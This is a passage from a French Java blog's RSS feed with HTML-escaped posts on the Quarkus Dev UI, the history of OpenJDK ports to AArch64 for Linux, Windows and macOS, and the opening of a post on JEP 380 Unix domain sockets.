&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/quarkus-devui-openapi.png&quot; alt=&quot;quarkus devui openapi&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons remarquer que la panneau &lt;strong&gt;SmallRye OpenAPI&lt;/strong&gt; possède deux liens :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;OpenAPI, lien vers l&amp;#8217;url pour récupérer la définition OpenAPI &lt;code&gt;/q/openapi&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Swagger UI, lien vers la page Swagger UI &lt;code&gt;/q/swagger-ui&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici la page Swagger UI de notre projet :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/quarkus-openapi.png&quot; alt=&quot;quarkus openapi&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ces liens existaient déjà dans les précédentes versions de Quarkus. Cependant, il fallait se rappeller des URI ou relire le guide associé pour les retrouver.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  &lt;strong&gt;Changement&lt;/strong&gt; : Il a été décidé que toutes les URI techniques commencent par &lt;code&gt;/q&lt;/code&gt;. Cela reste configurable via la propriété &lt;code&gt;quarkus.http.non-application-root-path&lt;/code&gt;. Actuellement, une redirection est faite entre les anciennes URL et les nouvelles.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;extension&quot;&gt;Extension&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Toujours dans la lignée de Quarkus, il est possible d&amp;#8217;étendre la Dev UI à travers le développement d&amp;#8217;une extension. Pour cela, nous avons le guide suivant :  &lt;a href=&quot;https://quarkus.io/guides/dev-ui&quot;&gt;Guide pour étendre la Dev UI&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;  Savoir créer une extension est un pré-requis. Un &lt;a href=&quot;https://quarkus.io/guides/building-my-first-extension&quot;&gt;guide&lt;/a&gt; est aussi disponible pour cela.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;comment_tester&quot;&gt;Comment tester ?&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le projet java contenant le code présenté dans ce billet est disponible sur github&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lilian-benoit/billets-codes-sources/tree/master/2021/02/2021-02-Quarkus-DevUI&quot;&gt;Dépôt GitHub billets-codes-sources&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;A vous de profiter des joies du développpeur !&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://quarkus.io/blog/announcing-quarkus-1-0/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Annonce de la sortie de Quarkus 1.0&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://quarkus.io/blog/quarkus-1-11-0-final-released/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Annonce de la sortie de Quarkus 1.11&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://quarkus.io/guides/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Ensemble de guides de Quarkus&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://quarkus.io/guides/building-my-first-extension&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Guide pour construire sa première extension&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://quarkus.io/guides/dev-ui&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Guide pour étendre la Dev UI&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Découvrir le projet OpenJDK pour AArch64</title>
      <link>https://www.lilian-benoit.fr/2021/02/AArch64-Decouvrir_le_projet_de_portage.html</link>
      <pubDate>dim., 7 févr. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/02/AArch64-Decouvrir_le_projet_de_portage.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#architecture_aarch64_cest_quoi&quot;&gt;Architecture AArch64, c&amp;#8217;est quoi ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#portage_linux_aarch64&quot;&gt;Portage Linux / AArch64&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#portage_windows_aarch64&quot;&gt;Portage Windows / AArch64&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#portage_macos_aarch64&quot;&gt;Portage macOS / AArch64&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le prochain JDK, nous avons la &lt;a href=&quot;https://openjdk.java.net/jeps/388&quot;&gt;JEP 388&lt;/a&gt; qui annonce la disponibilité d&amp;#8217;un nouveau portage sur l&amp;#8217;architecture Windows / AArch64. Nous avions déjà un portage sur Linux sur AArch64. Mais concrêtement, c&amp;#8217;est quoi cette architecture, cela permet de faire tourner quoi ?.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;architecture_aarch64_cest_quoi&quot;&gt;Architecture AArch64, c&amp;#8217;est quoi ?&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous sommes familiers avec les signes des architectures Intel : x86 ou amd64.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Actuellement, les architectures ARM se développent fortement. Ceux sont des systèmes sur une puce (SoC en anglais pour &quot;System on a Chip&quot;). Ils sont notamment très utilisés dans le monde de l&amp;#8217;embarqué (comme les Raspberry Pi par exemple) ou la téléphonie. Il offre l&amp;#8217;avantage d&amp;#8217;avoir une faible consommation d&amp;#8217;énergie. C&amp;#8217;est qui est très important dans ce monde là, par exemple, l&amp;#8217;autonomie du téléphone en sera rallongée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/220px-Raspberry_Pi_A+.jpg&quot; alt=&quot;220px Raspberry Pi A+&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;(Raspberry Pi modèle A+, source Wikipedia Commons)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La particularité technique principale est que l&amp;#8217;architecture est de type &lt;a href=&quot;https://fr.wikipedia.org/wiki/Processeur_%C3%A0_jeu_d%27instructions_r%C3%A9duit&quot;&gt;RISC&lt;/a&gt;. L&amp;#8217;objectif est d&amp;#8217;avoir un jeu d&amp;#8217;instructions simple et réduit. A l&amp;#8217;inverse, les processeurs Intel sont de type &lt;a href=&quot;https://fr.wikipedia.org/wiki/Microprocesseur_%C3%A0_jeu_d%27instruction_%C3%A9tendu&quot;&gt;CISC&lt;/a&gt; avec un jeu d&amp;#8217;instructions complexes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le seconde particularité est que la société ARM ne fabrique pas ces processeurs. Elle vend des licences à d&amp;#8217;autres sociétés qui fabriquent les processeurs. Par conséquent, plusieurs sociétés concurrentes exploitent les processeurs ARM dans leur système (SoC). Dans le monde du mobile, nous retrouvons Qualcomm par exemple.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le temps, il y a eu plusieurs versions, celle qui nous intéressent à ce jour c&amp;#8217;est ARMv8 qui est une architecture 64 bits. &lt;strong&gt;Ce qui correspond à notre fameux AArch64&lt;/strong&gt;. En effet, les précédentes versions sont des architectures 32bits.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Il est à noter qu&amp;#8217;à ce jour, les processeurs équipant les Raspberry PI sont uniquement des processeurs 32bits.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Coté centre de calcul, ce type d&amp;#8217;architecture intéresse aussi les fournisseurs de services et les hébergeurs afin de réduire leurs factures d&amp;#8217;électricités. Dans ce sens, AWS a annoncé fin 2019 qu&amp;#8217;il allait miser sur l&amp;#8217;architecture ARM 64bits avec leurs processeurs Graviton 2. Ils sont déclinés dans les instances M6g, C6g et R6g.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/AWS-configuration.png&quot; alt=&quot;AWS configuration&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;(Liste de instances AWS en choississant le processeur AWS Graviton)&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Plus récemment, en juin 2020, Apple annonce la transition des processeurs Intel vers Apple silicon avec la puce M1 pour les mac. C&amp;#8217;est une puce conçue par Apple en utilisant l&amp;#8217;architecture ARM. Cela leur permet de se passer des processeurs Intel. Ils ont déjà de l&amp;#8217;expérience sur ce sujet car ils conçoivent les puces pour leurs iPhone, iPad, Apple Watch. En revanche, la fabrication reste sous-traitée à des prestataires.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Ce changement d&amp;#8217;architecture va permettre aux utilisateurs de Mac Big Sur d&amp;#8217;exécuter des applications iPadOS et iOS.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;portage_linux_aarch64&quot;&gt;Portage Linux / AArch64&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La version binaire pour les plateformes Linux sous Architectures AArch64 est disponible par le projet OpenJDK depuis la version 15 du JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/jdk15-liste-builds.png&quot; alt=&quot;jdk15 liste builds&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, l&amp;#8217;aventure a commencé bien plus tôt en 2011. Je vous conseille ce billet &lt;a href=&quot;https://developers.redhat.com/blog/2021/02/01/how-red-hat-ported-openjdk-to-64-bit-arm-a-community-history/&quot;&gt;How Red Hat ported OpenJDK to 64-bit Arm: A community history&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour en faire la synthèse, la particularité au début était qu&amp;#8217;il n&amp;#8217;existait pas de processeur physique. Ils ont été obligé de développer d&amp;#8217;abord un simulateur pour faire tourner le portage de la JVM.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En 2014, Red Hat commence à fournir des premières versions à des partenaires.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En 2015, le portage AArch64 fait partie intégrant du projet OpenJDK. Oracle encourage l&amp;#8217;initiative et les aides pour le processus d&amp;#8217;intégration.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En parallèle, Oracle avait son propre portage des architectures ARM 32 bits et 64 bits.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En 2019, La &lt;a href=&quot;https://openjdk.java.net/jeps/340&quot;&gt;JEP 340: One AArch64 Port, Not Two&lt;/a&gt; est mise en oeuvre afin d&amp;#8217;avoir une et une seule implémentation pour les architectures 64 bits. L&amp;#8217;objectif est d&amp;#8217;éviter la duplication de code et de recentrer les efforts sur un portage unique. Cela est a été réalisé dans le JDK 12.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En 2020, Oracle annonce dans &lt;a href=&quot;https://blogs.oracle.com/java-platform-group/update-on-64-bit-arm-support-for-oracle-openjdk-and-oracle-jdk&quot;&gt;ce billet&lt;/a&gt; le support des architectures ARM 64 bits pour OpenJDK et Oracle JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce qui permet d&amp;#8217;expliquer pourquoi les binaires sont disponibles depuis le JDK 15.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;D&amp;#8217;autres JEPs ont été consacrées à l&amp;#8217;amélioration des performance sous AArch64, comme par exemple la &lt;a href=&quot;https://openjdk.java.net/jeps/315&quot;&gt;JEP 315 : Improve Aarch64 Intrinsics&lt;/a&gt; qui a été inclus dans le JDK 11. Le but était d&amp;#8217;améliorer les performances des fonctions &lt;code&gt;sin&lt;/code&gt;, &lt;code&gt;cos&lt;/code&gt; et &lt;code&gt;log&lt;/code&gt; de la classe &lt;code&gt;java.lang.Math&lt;/code&gt; en prenant en compte les spécificités de cette architecture.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;portage_windows_aarch64&quot;&gt;Portage Windows / AArch64&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De son côté, Microsoft propose une version de Windows 10 fonctionnant sous de tel processeur. Le travail de l&amp;#8217;équipe Java de Microsoft a été de porté le JDK Windows sous cette architecture. Le travail a été piloté par &lt;a href=&quot;https://twitter.com/mon_beck&quot;&gt;Monica Beckwith&lt;/a&gt; avec son équipe et des partenaires.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En juin 2020, Monica annonce sur la liste de diffusion &lt;a href=&quot;https://mail.openjdk.java.net/pipermail/hotspot-runtime-dev/2020-June/040330.html&quot;&gt;hotspot-runtime-dev&lt;/a&gt;, les avancés de son équipe sur l&amp;#8217;extension du support de AArch64 à Windows.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme l&amp;#8217;indique la fiche &lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-8248238&quot;&gt;JDK-8248238 Implementation: JEP 388: Windows AArch64 Support&lt;/a&gt;, leur travail a été intégré dans le &lt;a href=&quot;https://bugs.openjdk.java.net/issues/?jql=project%20%3D%20JDK%20AND%20fixversion%20%3D%2016%20and%20%22resolved%20in%20build%22%20%3D%20b19%20order%20by%20component%2C%20subcomponent&quot;&gt;build 19&lt;/a&gt; du JDK 16.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/JDK-8248238.png&quot; alt=&quot;JDK 8248238&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De son coté, &lt;a href=&quot;https://twitter.com/brunoborges&quot;&gt;Bruno Borges&lt;/a&gt; réalise &lt;a href=&quot;https://devblogs.microsoft.com/java/announcing-openjdk-windows-arm/&quot;&gt;un billet&lt;/a&gt; pour annoncer l&amp;#8217;arrivée du support OpenJDK sur Windows / ARM.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;portage_macos_aarch64&quot;&gt;Portage macOS / AArch64&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme nous l&amp;#8217;avons évoqué dans la section Architecture AArch64. Apple commence à développer ces propres processeurs pour Mac. Pour en savoir plus, je vous conseille &lt;a href=&quot;https://www.01net.com/actualites/one-more-thing-retrouvez-toutes-les-annonces-d-apple-en-direct-a-partir-de-19h-2004523.html&quot;&gt;cet article&lt;/a&gt; de 01net.com&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le défi de la transition vers une nouvelle architecture est effectivement d&amp;#8217;avoir un ensemble de logiciels disponible. Au début, le catalogue est forcément réduit par rapport à l&amp;#8217;ancienne architecture.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La &lt;a href=&quot;https://openjdk.java.net/jeps/391&quot;&gt;JEP 391: macOS/AArch64 Port&lt;/a&gt; est ouverte dans ce sens. A ce jour, il n&amp;#8217;a pas de version du JDK cible.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Bientôt disponible au sein du projet OpenJDK. Cela reste à une histoire à suivre!&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; &lt;strong&gt;&lt;em&gt;Maj 04/03/2021&lt;/em&gt;&lt;/strong&gt;, Bien que la JEP 391 n&amp;#8217;a pas de version cible, le portage macOS serait bientôt disponible. En effet, &lt;a href=&quot;https://twitter.com/AndrewHaley13/status/1367207533564289031&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;suite au retour&lt;/a&gt; d&amp;#8217;un membre de l&amp;#8217;équipe, le travail principal a été fait et il resterait seulement des détails.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; En attendant, des éditeurs comme Azul Systems proposer d&amp;#8217;ores et déjà des JDK pour ce type de cible macOS / AArch64.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/azul-zulu-macOS-AArch64.png&quot; alt=&quot;azul zulu macOS AArch64&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;(Voici leur &lt;a href=&quot;https://www.azul.com/downloads/zulu-community/?os=macos&amp;amp;architecture=arm-64-bit&amp;amp;package=jdk&quot;&gt;page de téléchargement&lt;/a&gt; pour Zulu.)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://fr.wikipedia.org/wiki/Processeur_%C3%A0_jeu_d%27instructions_r%C3%A9duit&quot;&gt;RISC&lt;/a&gt; vs &lt;a href=&quot;https://fr.wikipedia.org/wiki/Microprocesseur_%C3%A0_jeu_d%27instruction_%C3%A9tendu&quot;&gt;CISC&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://fr.wikipedia.org/wiki/Architecture_ARM&quot;&gt;Architecture ARM&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.lemondeinformatique.fr/actualites/lire-pragmatisme-et-opportunisme-aws-mise-aussi-sur-arm-64-77297.html&quot;&gt;Pragmatisme et opportunisme, AWS mise aussi sur ARM-64&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.apple.com/newsroom/2020/06/apple-announces-mac-transition-to-apple-silicon/&quot;&gt;(en) Apple announces Mac transition to Apple silicon&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/315&quot;&gt;JEP 315: Improve Aarch64 Intrinsics&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/340&quot;&gt;JEP 340: One AArch64 Port, Not Two&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/388&quot;&gt;JEP 388: Windows/AArch64 Port&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/391&quot;&gt;JEP 391: macOS/AArch64 Port&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/projects/jdk/12/&quot;&gt;JDK 11&lt;/a&gt;, &lt;a href=&quot;http://openjdk.java.net/projects/jdk/12/&quot;&gt;JDK 12&lt;/a&gt;, &lt;a href=&quot;http://openjdk.java.net/projects/jdk/15/&quot;&gt;JDK 15&lt;/a&gt;, &lt;a href=&quot;http://openjdk.java.net/projects/jdk/16/&quot;&gt;JDK 16&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://developers.redhat.com/blog/2021/02/01/how-red-hat-ported-openjdk-to-64-bit-arm-a-community-history/&quot;&gt;(en) How Red Hat ported OpenJDK to 64-bit Arm: A community history&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-8248238&quot;&gt;Implementation: JEP 388: Windows AArch64 Support&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/java/announcing-openjdk-windows-arm/&quot;&gt;(en) Billet de l&amp;#8217;annonce du support OpenJDK for Windows 10 sur ARM&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/hotspot-runtime-dev/2020-June/040330.html&quot;&gt;(en) Message de Monica Beckwith sur liste de diffusion OpenJDK&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://blogs.oracle.com/java-platform-group/update-on-64-bit-arm-support-for-oracle-openjdk-and-oracle-jdk&quot;&gt;(en) Billet Oracle annonçant le support de ARM 64bit on OpenJDK et Oracke JDK &lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.01net.com/actualites/one-more-thing-retrouvez-toutes-les-annonces-d-apple-en-direct-a-partir-de-19h-2004523.html&quot;&gt;Apple passe ses MacBook Air, MacBook Pro 13&quot; et son Mac mini à ARM, avec l&amp;#8217;Apple Silicon M1&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 380 Unix Domain Socket Channels</title>
      <link>https://www.lilian-benoit.fr/2021/01/JEP_380-Unix_Domain_Socket_Channels.html</link>
      <pubDate>dim., 31 janv. 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/01/JEP_380-Unix_Domain_Socket_Channels.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#illustration&quot;&gt;Illustration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#socket_channel_classique&quot;&gt;Socket Channel (classique)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#socket_channel_unix_domain&quot;&gt;Socket Channel (unix domain)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les sockets Unix sont un moyen de communication inter-processus. Ils se basent sur le système de fichiers pour leurs fonctionnements. &lt;em&gt;(Et oui, tout est fichier dans l&amp;#8217;univers Unix)&lt;/em&gt;. Plusieurs processus peuvent ainsi communiquer ensemble sans passer par la pile réseau. Cela est pris en charge par le noyau et c&amp;#8217;est plus performant, même si on le compare avec l&amp;#8217;utilisation de l&amp;#8217;interface locale.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous comparons avec le réseau local car la limitation est que les processus doivent être sur la même machine.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cependant, dans le monde des conteneurs, beaucoup de processus tournent localement sur la machine. Moyennant l&amp;#8217;accès à un système de fichiers partagés, ils pourraient ainsi utiliser ce type de socket afin d&apos; améliorer les performances.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
